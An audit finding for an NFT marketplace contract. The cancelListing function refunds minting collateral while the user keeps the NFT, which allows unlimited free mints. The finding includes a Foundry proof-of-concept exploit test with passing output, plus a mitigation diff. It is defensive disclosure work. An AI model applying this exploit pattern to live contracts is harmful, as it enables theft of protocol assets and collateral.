Root + Impact
Description
-
Normally, when a user mints an NFT, they pay a collateral (e.g., 20 USDC) that is held by the contract until the NFT is sold or burned. This ensures that the user has some skin in the game and prevents abuse.
-
However, the cancelListing function returns the full collateral to the user without requiring the NFT to be burned or transferred. This allows a user to mint an NFT, list it, and then immediately cancel the listing to get their collateral back – while still keeping the NFT. The result is that the user obtains the NFT for free and can repeat the process to mint all available NFTs without any cost.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}
Risk
Likelihood:
Any whitelisted user can trigger this exploit.
The exploit can be repeated as long as there are NFTs left to mint (up to MAX_SUPPLY).
No special conditions are required; the user simply mints, lists, and cancels in the same transaction.
Impact:
An attacker can mint all available NFTs for free, effectively stealing them from the protocol.
The protocol loses the collateral that was meant to be locked, and the attacker gains valuable assets without paying.
Proof of Concept
The following Foundry test demonstrates the exploit:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockUSDC is ERC20 {
constructor() ERC20("USD Coin", "USDC") {
_mint(msg.sender, 1_000_000 * 10 ** 6);
}
function decimals() public pure override returns (uint8) { return 6; }
}
contract NFTDealersTest is Test {
NFTDealers nft;
MockUSDC usdc;
address owner = address(0x123);
address attacker = address(0x456);
uint256 constant LOCK_AMOUNT = 20 * 10 ** 6;
function setUp() public {
vm.startPrank(owner);
usdc = new MockUSDC();
nft = new NFTDealers(owner, address(usdc), "Test", "TST", "ipfs://...", LOCK_AMOUNT);
nft.revealCollection();
nft.whitelistWallet(attacker);
usdc.transfer(attacker, LOCK_AMOUNT);
vm.stopPrank();
}
function testExploitFreeMint() public {
vm.startPrank(attacker);
usdc.approve(address(nft), LOCK_AMOUNT);
nft.mintNft();
assertEq(usdc.balanceOf(attacker), 0);
uint256 tokenId = 1;
nft.list(tokenId, 1_000_000);
nft.cancelListing(tokenId);
assertEq(usdc.balanceOf(attacker), LOCK_AMOUNT);
assertEq(nft.ownerOf(tokenId), attacker);
vm.stopPrank();
}
}
Result: The attacker ends up with an NFT without spending any USDC (except gas).
[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealers3.t.sol:NFTDealersTest
[PASS] testExploitFreeMint() (gas: 222280)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.34ms (1.44ms CPU time)
Ran 1 test suite in 37.67ms (12.34ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Modify the cancelListing function so that the collateral is not refunded unless the NFT is burned or transferred to the contract. Alternatively, require the seller to burn the NFT to get the collateral back.
function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
- collateralForMinting[listing.tokenId] = 0;
+ // Either do not refund the collateral, or burn the NFT before refunding
+ // Option: require NFT to be burned
+ _burn(listing.tokenId); // Burn the NFT
+ usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
+ collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}